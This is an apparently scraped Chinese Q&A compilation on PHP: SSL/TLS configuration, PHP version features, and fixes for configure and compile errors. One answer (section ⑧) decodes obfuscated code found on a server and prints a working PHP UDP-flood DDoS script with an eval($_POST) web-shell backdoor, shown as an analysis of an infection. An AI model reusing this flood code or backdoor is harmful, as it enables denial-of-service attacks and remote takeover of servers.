① php发送邮件用ssl协议的话是不是加上这两行代码就行了
看具体加密方式也可能是:
$mail->SMTPSecure = "tls"
② 急急急!!!centos nginx中http可以访问thinkphp目录但是https访问不了
首先,必须明确443加密的概念——意思是你的服务器:
(1)必须有FQDN,即完整的域名,localhost肯定不行
(2)所持有证书必须是指向该域名的,不能是随意的证书。可以网络一下如何为域名准备证书
(3)其他证书机构可以验证这个证书——尽管你可以申请一个免费证书,但是大多数证书每年都要花400块。
可以使用自签名证书做测试,不过都不能算完整的测试。
③ 如何让php的curl扩展支持openssl
自己编译安装就行了,或找个支持ssl的curl版本安装上
④ PHP最近的6个版本到底多了啥
从5.3到现在的7.1,PHP经历了几个里程碑式的版本更新。
PHP 5.3
添加了命名空间的支持.
添加了静态晚绑定支持.
添加了跳标签支持.
添加了原生的闭包(Lambda/匿名函数)支持.
新增了两个魔术方法, __callStatic 和 __invoke.
添加了 Nowdoc 语法支持, 类似于 Heredoc 语法, 但是包含单引号.
使用 Heredoc 来初始化静态变量和类属性/常量变为可能.
可使用双引号声明 Heredoc, 补充了 Nowdoc 语法.
可在类外部使用 const 关键词声明 常量.
三元运算操作符有了简写形式: ?:.
HTTP 流包裹器将从 200 到 399 全部的状态码都视为成功。
动态访问静态方法变为可能.
异常可以被内嵌.
新增了循环引用的垃圾回收器并且默认是开启的.
mail() 现在支持邮件发送日志. (注意: 仅支持通过该函数发送的邮件.)
PHP 5.4
新增支持 traits 。
新增短数组语法,比如 $a = [1, 2, 3, 4]; 或 $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4]; 。
新增支持对函数返回数组的成员访问解析,例如 foo()[0] 。
现在 闭包 支持 $this 。
现在不管是否设置 short_open_tag php.ini 选项,<?= 将总是可用。
新增在实例化时访问类成员,例如: (new Foo)->bar() 。
现在支持 Class::{expr}() 语法。
新增二进制直接量,例如:0b001001101 。
改进解析错误信息和不兼容参数的警告。
SESSION 扩展现在能追踪文件的 上传进度 。
内置用于开发的 CLI 模式的 web server 。
PHP5.5
新增 Generators
新增 finally 关键字
foreach 现在支持 list()
empty() 支持任意表达式
array and string literal dereferencing ¶
新的密码哈希 API
改进 GD
PHP5.6
使用表达式定义常量
使用 ... 运算符定义变长参数函数
使用 ... 运算符进行参数展开
使用 ** 进行幂运算
use function 以及 use const
phpdbg
默认字符编码
php://input 是可重用的了
大文件上传(现在可以支持大于 2GB 的文件上传)
GMP 支持运算符重载
使用 hash_equals() 比较字符串避免时序攻击
__debugInfo()
gost-crypto 散列算法
SSL/TLS 提升
pgsql 异步支持
PHP7.0
标量类型声明
返回值类型声明
null合并运算符
太空船操作符(组合比较符)
通过 define() 定义常量数组
匿名类
Unicode codepoint 转译语法
Closure::call()
为unserialize()提供过滤
IntlChar
预期
Group use declarations
生成器可以返回表达式
Generator delegation
整数除法函数 intdiv()
会话选项
preg_replace_callback_array()
CSPRNG Functions
可以使用 list() 函数来展开实现了 ArrayAccess 接口的对象
其他特性
PHP7.1
可为空(Nullable)类型
Void 函数
Symmetric array destructuring
类常量可见性
iterable 伪类
多异常捕获处理
list()现在支持键名
支持为负的字符串偏移量
ext/openssl 支持 AEAD
通过 Closure::fromCallable() 将callables转为闭包
异步信号处理
HTTP/2 server push support in ext/curl
⑤ 求问php configure err 错误怎么办
php-configure错误解决
configure: error: libjpeg.(a|so) not found
configure: error: libjpeg.(a|so) not found
ln -sf libjpeg.so.62.0.0 libjpeg.so
configure: error: libpng.(a|so) not found.
yum install libpng-devel
32位和64位的都装了。你可以强制删除两个包,再重装64位的包。
rpm --allmatches --nodeps
可能在config结束后会提示:
configure: error: libjpeg.(a|so) not found
configure: error: libjpng.(a|so) not found
错误,那么请在configure前执行如下的命令:
cp -frp /usr/lib64/libjpeg.* /usr/lib/
cp -frp /usr/lib64/libpng* /usr/lib/
因为php默认就在/usr/lib/下找相关库文件,而x64机器上是在:/usr/lib64
解决这个问题,首先确定你安装的 jpeg的x86_64的的安装位置
shell> updatedb
shell> locate libjpeg.so
看到已经安装位置
然后明白php参数的含义
根据php的配置参数
--with-jpeg-dir=/usr --with-libdir=lib64
--with-jpeg-dir=/usr :是确定jpeg的安装位置
--with-libdir=lib64 : 这个是一个全局参数,代表配置器寻找所有安装路径下的lib64目录,而不是默认安装路径下的lib目录
CentOS 5 常见的configure error的解决方法2009-10-20 10:23仅限于CentOS 5
configure: error: No curses/termcap library found
网上有的说法是:
--with-named-curses-libs=/usr/lib/libncursesw.so.5
其实是不对的,虽然能解决configure的错误,但是make的时候会提示错误,正确的做法应该是
yum -y install ncurses-devel
debian: apt-get install libncurses5-dev
configure: error: xml2-config not found
yum -y install libxml2-devel
debian:apt-get install libxml2-dev
configure: error: Cannot find OpenSSL's
yum -y install openssl-devel
configure: error: libjpeg.(a|so) not found
yum -y install gd
yum -y install gd-devel
debian:apt-get install libjpeg-dev
configure: error: libpng.(a|so) not found.
apt-get install libpng12-dev
configure: error: cannot find output from lex; giving up
yum -y install flex
configure: error: mod_deflate has been requested but can not be built e to prerequisite failures
yum -y install zlib-devel openssl-devel
debian:apt-get install zlib1g-dev
configure: error: libXpm.(a|so) not found.
apt-get install libxpm-dev
onfigure: error: freetype.h not found.
apt-get install libfreetype6-dev
configure: error: ...No recognized SSL/TLS toolkit detected
apt-get install libssl-dev
在x64的机器上编译PHP+GD的时候需要注意一下
Written by bixuan on 2007年04月12号 – 11:04
php编译常见错误大全Posted in linux相关 | 七月 22nd, 2009
1) Configure: error: xml2-config not found. Please check your libxml2 installation.
Solutions :
yum install libxml2 libxml2-devel (For Redhat & Fedora)
# aptitude install libxml2-dev (For ubuntu)
2) Checking for pkg-config… /usr/bin/pkg-config
configure: error: Cannot find OpenSSL’s
Solutions :
yum install openssl openssl-devel
3) Configure: error: Please reinstall the BZip2 distribution
Solutions :
yum install bzip2 bzip2-devel
4) Configure: error: Please reinstall the libcurl distribution -
easy.h should be in /include/curl/
Solutions :
yum install curl curl-devel (For Redhat & Fedora)
# install libcurl4-gnutls-dev (For Ubuntu)
5) Configure: error: libjpeg.(also) not found.
Solutions :
yum -y install gd
yum -y install gd-devel
yum install libjpeg libjpeg-devel
6) Configure: error: libpng.(also) not found.
Solutions :
yum install libpng libpng-devel
apt-get install libpng12-dev
7) Configure: error: freetype.h not found.
Solutions :
yum install freetype-devel
Configure: error: Unable to locate gmp.h
Solutions :
yum install gmp-devel
9) Configure: error: Cannot find MySQL header files under /usr.
Note that the MySQL client library is not bundled anymore!
Solutions :
yum install mysql-devel (For Redhat & Fedora)
# apt-get install libmysql++-dev (For Ubuntu)
10) Configure: error: Please reinstall the ncurses distribution
Solutions :
yum install ncurses ncurses-devel
11) Checking for unixODBC support… configure: error: ODBC header file ‘/usr/include/sqlext.h’ not found!
Solutions :
yum install unixODBC-devel
12) Configure: error: Cannot find pspell
Solutions :
yum install pspell-devel
13) configure: error: mcrypt.h not found. Please reinstall libmcrypt.
Solutions :
yum install libmcrypt libmcrypt-devel (For Redhat & Fedora)
# apt-get install libmcrypt-dev
14) Configure: error: snmp.h not found. Check your SNMP installation.
Solutions :
yum install net-snmp net-snmp-devel
15)开启LDAP服务还需要
yum -y install openldap-devel openldap-servers openldap-clients
16)configure: error: No curses/termcap library found
网上有的说法是:
–with-named-curses-libs=/usr/lib/libncursesw.so.5
其实是不对的,虽然能解决configure的错误,但是make的时候会提示错误,正确的做法应该是
yum -y install ncurses-devel (for redhat)
apt-get install libncurses5-dev(for debian)
17)configure: error: cannot find output from lex; giving up
yum -y install flex
18)configure: error: mod_deflate has been requested but can not be built e to prerequisite failures
yum -y install zlib-devel openssl-devel
debian:apt-get install zlib1g-dev
19)configure: error: libXpm.(a|so) not found.
apt-get install libxpm-dev
补充:通过以上命令配置PHP时,遇到错误,总说找不到libmcrypt。由于这服务器是个裸机,很多必须的库都没装,必须一个一个的手动安装,可libmcrypt这个库我的确装过了。重试n遍,无解,解决方案
Then I visited
http://mcrypt.hellug.gr/mcrypt/index.html
an learned that I have to install not only libmcrypt
but also mcrypt and libmhash.
Here is the to do:
libmcrytp:
———–
download libmcrypt-xxx.tar.gz
create the following directory: / usr / local / libmcrypt
the libmcrypt-xxx.tar.gz into that directory and move to it
run the following shell (>) commands: (’xxx’ is the version number)
> gunzip -c libmcrypt-xxx.tar.gz | tar xf -
> cd libmcrypt-xxx
> ./configure --disable-posix-threads
> make
> make check (note: ‘make check’ is optional)
> make install
then (update your environment) add in / etc / profile the following path:
/usr/local/libmcrypt/libmcrypt-xxxx
(note: as I run Red Hat 7.3 I set the line a f t e r the if-part
(id -u = 0 …) with: pathmunge /usr/local / libm….)
and add in / etc / ld.so.conf the following path: /usr/local/lib
then run ldconfig:
> ldconfig
now comes the important part:
> cd /usr/local/libmcrypt/libmcrypt-xxx/libltdl
> ./configure --enable-ltdl-install
> make
> make install
(maybe not needed: I also added a link in / usr / bin: )
(> cd /usr/bin)
(> ln -s /usr/lib/libltdl.so.3.1.0 ltdl)
mhash:
———–
download mhash-xxx.tar.gz
create the following directory: / usr / local / mhash
the mhash-xxx.tar.gz into that directory and move to it
run the following shell (>) commands: (’xxx’ is the version number)
> gunzip -c mhash-xxx.tar.gz | tar xf -
> cd mhash-xxx
> ./configure
> make
> make check (note: ‘make check’ is optional)
> make install
mcrypt:
———–
download mcrypt-xxx.tar.gz
create the following directory: / usr / local / mcrypt
the mcrypt-xxx.tar.gz into that directory and move to it
run the following shell (>) commands: (’xxx’ is the version number)
> gunzip -c mcrypt-xxx.tar.gz | tar xf -
> cd mhash-xxx
> ./configure
> make
> make check (note: ‘make check’ is optional)
> make install
back to PHP:
————–
move into your PHP installation directory
then the following command worked on my computer:
>
./configure –with-apache=/usr/local/apache/apache_1.3.29 –with-mysql –wit
h-mcrypt=/usr/local/mcrypt/mcrypt-2.6.4
> make
> make install
⑥ PHP使用CURL请求https的微信统一下单接口时报错,同样的代码我在另一台机器上运行是正常的
我也遇到了同样的问题,只要是走微信,偶尔都会请求不到,原来是正常的。今天排查了一天,终于找到了原因所在。
centos原生用的NSS,而不是OpenSSL,curl调用NSS库请求https时偶尔会出现请求不到的情况。
解决方案:
参考网址:网页链接
按步骤完成后记得重启 php-fpm和nginx
⑦ PHP编译(make)时报错undefined reference to `SSLv2_client_method'
没有定义的参数 "SSLv2_client_method",这个参数在哪里?
好像在你的服务器上:/home/php-7.0.0RC2/ext/openssl/xp_ssl.c这个文件
⑧ 求解密~PHP文件中出现的一段加密代码。
代码一共被加密5次:
解密后到页面来竟然被 NOD32给报毒了 - -! 所以我把倒数第二行的 POST中的字母O改为了数字0。
这个是服务器被加了向传入ip的泛洪攻击,地址:ip,端口:port,次数:time 。
顺便还加了一个后门,post:ddos。
你服务器成肉鸡了?
下面是php代码。
?><?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
<?php eval($_P0ST[ddos])?>
<?
⑨ 帮我解开这个加密的php代码,谢谢,发我邮箱最好,[email protected] 代码如下: <php $__F=__FILE__...
?></div>
<div id="footer"></div>
<div id="footerbox">
<div class="footer">
<p id="wptd_footer">
<span class="alignleft">&; <?php the_time("Y"); ?> <a href="<?php bloginfo("url"); ?>" title="<?php bloginfo("name"); ?>"><?php bloginfo("name"); ?></a>. All Rights Reserved</span>
<span class="alignright">Developed by <a title="PSD to Wordpress" href="http://wpfrompsd.com">PSD to Wordpress</a> . Designed by <a href="http://www.wpthemedesigner.com" title="Wordpress Theme Designer">Wordpress Theme Designer</a> <a class="wptd_logo" href="http://www.wpthemedesigner.com" title="Wordpress Theme Designer">Wordpress Theme Designer</a></span>
</p>
<div style="clear:both"></div>
</div>
<!-- <?php echo get_num_queries(); ?> queries. <?php timer_stop(1); ?> seconds. --><?php wp_footer(); ?></div></div>
</div>
</body></html>
⑩ 请懂PHP程序语言的,帮我修改下一这个代码啊!很简单我就是不会,万分感谢啊!
介个算8上啥加密啦.只是把程序写得难看了点.
<?php
$a= base64_decode('Pz48Nmk0IDNsOHNzPSI1MDI4ayI+PC82aTQ+QgM2w4c3M9IjVveCI+DQogICAgICA8aGU++PC9zMzBpcHQ+IA0KICAgICAgPC82aTQ+DQogICAgPC82aTQ+dpbiAwMjMybnQgM29tbTJudHMgLS0+++DQogICAgICA8LzlvMG0+XzUyOW8wMj08aGU+JnRpdGwyXzg5dDIwPTwvaGU+Jyk7ID8+DQogICAgPC82aTQ++B5MGlnaHQgJjNvcHk7IDw/cGhwIDIzaG8gNjh0MignWScpOyA//lpNDI4dzgwNnMuM29tLyI+++PD8=');
$b = base64_decode('=');
echo $a."\n-----------华丽的分割鸟~----------------\n".$b;
你自己运行看看吧.解出来的函数名,变量名是命名得比较变态.自己琢磨吧.